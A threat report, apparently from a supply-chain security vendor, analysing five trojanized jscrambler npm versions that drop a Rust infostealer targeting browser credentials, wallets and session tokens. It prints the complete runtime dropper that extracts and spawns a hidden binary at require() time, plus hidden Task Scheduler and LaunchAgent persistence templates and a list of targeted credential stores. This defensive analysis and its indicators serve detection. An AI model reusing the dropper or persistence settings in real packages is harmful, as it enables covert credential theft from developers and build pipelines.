Securing the agentic AI software supply chain
← Research
Threat report Jul 11, 2026

Five versions in three hours: a compromised jscrambler package drops a Rust infostealer

Five malicious versions of the official jscrambler npm package (8.14.0 through 8.20.0) were published on July 11, 2026, each dropping a cross-platform Rust infostealer that targets browser credentials, crypto wallets, and session tokens. The adversary adapted mid-attack, switching from a blockable preinstall hook to a runtime dropper that bypasses ignore-scripts.

The official jscrambler npm package (~60,000 monthly downloads) was trojanized on July 11, 2026. Over three hours, five malicious versions were published from a compromised maintainer account, interleaved with two clean versions the maintainers pushed as remediation. The payload is a compiled Rust infostealer that targets browser credentials, crypto wallet seed phrases, and session tokens on Linux, Windows, and macOS, with platform-specific persistence and anti-analysis.

The adversary adapted mid-attack. When the maintainers reverted the first compromised version, the attacker republished within 19 minutes and ultimately switched from a preinstall hook (blocked by ignore-scripts=true) to a runtime dropper prepended to the module entry point (not blocked by ignore-scripts=true).

The artifact

jscrambler is a JavaScript code protection CLI used in CI/CD pipelines to obfuscate and harden JavaScript before deployment. It runs with build-system privileges and commonly has access to API keys, signing credentials, and deployment tokens.

No commits, tags, or pull requests exist in the jscrambler GitHub repository for any of the five malicious versions. All were published directly to npm, bypassing the project’s release workflow. This points to a compromised publishing token rather than a source repository breach.

Time (UTC, Jul 11)VersionStatusTechnique
15:128.14.0Maliciouspreinstall hook (dist/setup.js)
17:078.15.0CleanMaintainer remediation
17:268.16.0Maliciouspreinstall hook (19 min after fix)
17:418.17.0Maliciouspreinstall hook
17:468.18.0MaliciousRuntime IIFE (dist/index.js prepend)
17:538.20.0MaliciousRuntime IIFE
18:128.22.0CleanMaintainer remediation (current latest)

The last clean pre-attack version was 8.13.0 (June 30, 2026). At the time of this analysis, 8.14.0, 8.16.0, 8.17.0, and 8.20.0 are deprecated as compromised on npm. Version 8.18.0 (the runtime IIFE dropper) remains published without a deprecation warning.

What it does

The dropper

Two techniques were used. Versions 8.14.0, 8.16.0, and 8.17.0 added a preinstall script to package.json pointing to dist/setup.js. This executes during npm install and is blocked by ignore-scripts=true in .npmrc.

After the maintainers pushed the clean 8.15.0, the attacker changed approach. Versions 8.18.0 and 8.20.0 prepend a self-executing function to the legitimate dist/index.js entry point:

var _fs = require("fs");
var _path = require("path");
var _zlib = require("zlib");
var _child_process = require("child_process");
var _os = require("os");
(function () {
  var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
  try {
    var bundle = (0, _fs.readFileSync)(
      (0, _path.join)(__dirname, 'intro.js'));
    var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]);
    if (!bundle.slice(0, 5).equals(magic)) return;
    var platformId = PLATFORM_IDS[process.platform];
    if (platformId === undefined) return;
    var count = bundle[5];
    var offset = 6;
    for (var i = 0; i < count; i++) {
      var platform = bundle[offset++];
      offset += 8;
      var compressedSize =
        Number(bundle.readBigUInt64LE(offset)); offset += 8;
      var data = bundle.slice(
        offset, offset + compressedSize); offset += compressedSize;
      if (platform !== platformId) continue;
      var ext = platform === 1 ? '.exe' : '';
      var target = (0, _path.join)((0, _os.tmpdir)(),
        '.' + Math.random().toString(36).slice(2) + ext);
      (0, _fs.writeFileSync)(target,
        (0, _zlib.gunzipSync)(data),
        { mode: platform === 1 ? 0o644 : 0o755 });
      try {
        var proc = (0, _child_process.spawn)(target, [],
          { detached: true, stdio: 'ignore',
            windowsHide: true });
        proc.unref();
      } catch (_) {}
      break;
    }
  } catch (_) {}
})();

This runs when the module is require()’d, not at install time. ignore-scripts=true does not block it. The IIFE reuses the variable names _fs and _path that appear later in the legitimate Babel-transpiled code. To a reviewer scanning the transpiled output, the duplicate var declarations blend into normal Babel boilerplate.

The binary container

The file the dropper reads, dist/intro.js, is 7,837,238 bytes of structured binary data despite the .js extension. The legitimate package (8.13.0) totals 150 kB unpacked. The naming exploits a Jscrambler concept (“intro” scripts in code-wrapping workflows) to look like a legitimate build artifact.

OffsetFieldValue
0x00-0x04Magic1B 43 53 49 01 (ASCII: “CSI”)
0x05Platform count03
0x06+Per entry1 B platform ID, 8 B decompressed size (LE), 8 B compressed size (LE), gzip data

The container holds three gzip-compressed native binaries. All bytes in the file are accounted for.

PlatformDecompressedCompressedBinary type
linux (0)4,521,128 B2,411,350 BELF 64-bit x86-64
win32 (1)5,155,328 B3,340,266 BPE32+ x86-64
darwin (2)3,184,979 B2,085,565 BMach-O arm64

The container is byte-identical across all five malicious versions. The .comment section of the Linux ELF reveals the build toolchain:

rustc version 1.98.0-nightly (e7815e522 2026-06-04)
GCC: (GNU) 16.1.1 20260625
Linker: LLD 22.1.6

Compiled with Rust nightly from June 4, 2026, approximately five weeks before the attack.

The payload

Each binary embeds a full SQLite engine (for reading browser credential databases), a LevelDB engine with Snappy compression (for reading browser extension local storage), and a rustls TLS stack (for encrypted C2).

Credential targets (from strings extracted from binaries):

CategoryTargetString evidence
Chromium browsersChrome, Brave, EdgeGoogle\Chrome\User Data, BraveSoftware\Brave-Browser\User Data, Microsoft\Edge\User Data
FirefoxCredential storeSQLite FTS tokenizer, key4.db format handling
Password managerBitwarden extensionExtension ID nngceckbapebfimnlniiiahkandclblb
Session tokensSteamCookie name steamLoginSecure
Crypto walletsMetaMask and similarLevelDB engine + BIP39 wordlist + vault JSON parser (vault":"{\"data\":\"...)

Persistence (templates extracted from the binaries):

Windows Task Scheduler entry, hidden from the UI, unlimited runtime, restarts every minute up to 999 times if killed:

<Hidden>true</Hidden>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<RestartOnFailure>
  <Interval>PT1M</Interval>
  <Count>999</Count>
</RestartOnFailure>

macOS LaunchAgent, runs on login, auto-restarts within 30 seconds:

<key>RunAtLoad</key><true/>
<key>KeepAlive</key><true/>
<key>ThrottleInterval</key><integer>30</integer>

The Linux binary dynamically links libbpf.so.1 and loads eBPF programs at runtime via bpf_object__open_mem and bpf_program__attach. It reads /proc/self/mountinfo and /proc/self/cgroup for container and sandbox detection.

Anti-analysis (from API imports and string evidence):

PlatformTechniqueAPI / path
WindowsDebugger detectionIsDebuggerPresent (kernel32.dll)
WindowsNetwork enumerationGetExtendedTcpTable (iphlpapi.dll)
macOSDebugger detectionsysctl / sysctlbyname (P_TRACED flag)
LinuxContainer detection/proc/self/cgroup, cpu.cfs_period_us
LinuxeBPF instrumentationbpf_object__open_mem, bpf_program__attach

C2 endpoints are not visible in plain strings. The binaries embed AES-NI and ChaCha20 cryptographic primitives (CRYPTOGAMS), confirming the C2 configuration is encrypted at rest and decrypted at runtime. Exfiltrated data is packaged as tar archives and transmitted over TLS using structured JSON ({"t":"out","id":"...","data":...}) with Authorization: Bearer headers.

dist/index.js IIFE prepend, runs at require() Reads dist/intro.js (7.8 MB) Binary container, magic: CSI Platform binary extracted + spawned Rust, detached, hidden, stdio: ignore Credential theft SQLite: Chrome, Brave, Edge, Firefox LevelDB: MetaMask, Bitwarden, Steam Persistence + anti-analysis Win: Task Sched (hidden, 999 restarts) Mac: LaunchAgent, Linux: eBPF Aephix
The runtime dropper reads, decompresses, and spawns a platform-specific Rust binary in a single synchronous pass before the legitimate module code loads.

Indicators of compromise

TypeIndicatorContext
npm packagejscrambler@8.14.0Compromised, preinstall dropper
npm packagejscrambler@8.16.0Compromised, preinstall dropper
npm packagejscrambler@8.17.0Compromised, preinstall dropper
npm packagejscrambler@8.18.0Compromised, runtime IIFE dropper
npm packagejscrambler@8.20.0Compromised, runtime IIFE dropper
SHA256 (intro.js)a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86Binary container, identical across all five versions
SHA256 (Linux ELF)fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bdExtracted payload, x86-64
SHA256 (Windows PE)b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903Extracted payload, x86-64
SHA256 (macOS Mach-O)c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fdExtracted payload, arm64
Magic bytes1B 43 53 49 01Binary container header in dist/intro.js
C2 domaincheck[.]torproject[.]orgReported in third-party dynamic analysis
C2 domainarchive[.]torproject[.]orgReported in third-party dynamic analysis
C2 IP37[.]27[.]122[.]124Reported in third-party dynamic analysis
C2 IP57[.]128[.]246[.]79Reported in third-party dynamic analysis
Dropped file<tmpdir>/.[a-z0-9]+(.exe)?Hidden random-named binary in OS temp directory
Build toolchainrustc 1.98.0-nightly (e7815e522 2026-06-04)From ELF .comment section
Bitwarden ext IDnngceckbapebfimnlniiiahkandclblbTargeted browser extension

What a defender can do

Pin jscrambler to the last clean version: npm install jscrambler@8.13.0. Check whether your lockfile resolved to any version between 8.14.0 and 8.20.0. If it did, treat the host as compromised.

Rotate all credentials accessible to the compromised process. For CI/CD pipelines, that includes npm tokens, cloud credentials, and signing keys injected as environment variables or secrets. For developer workstations, rotate browser-saved passwords and move crypto assets to a new wallet generated on a clean device.

Search your system temp directory for dropped binaries matching the pattern .[random alphanumeric] (no extension on Linux/macOS, .exe on Windows). On macOS, check ~/Library/LaunchAgents/ for plist files with KeepAlive and RunAtLoad set to true. On Windows, inspect Task Scheduler for hidden entries with PT1M restart intervals.

ignore-scripts=true blocks the preinstall-based versions (8.14.0, 8.16.0, 8.17.0) but not the runtime IIFE versions (8.18.0, 8.20.0). The runtime dropper executes when the module is loaded, not at install time. Script-blocking alone is not a sufficient defense against this technique.

Where Aephix fits

This compromise turned a legitimate build-pipeline tool into a delivery mechanism for a credential stealer with full persistence. The adversary published five versions in three hours, adapted when blocked, and one malicious version (8.18.0) remains undeprecated at time of writing. Knowing who published those versions and whether the same adversary has compromised other build-pipeline packages would be the difference between blocking one package and blocking the next one before it ships.

Aephix Sleuth links a flagged package to the wider operation behind it, with a confidence level and supporting evidence, so the next package from the same source is something you recognize before it reaches a lockfile. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious before you install.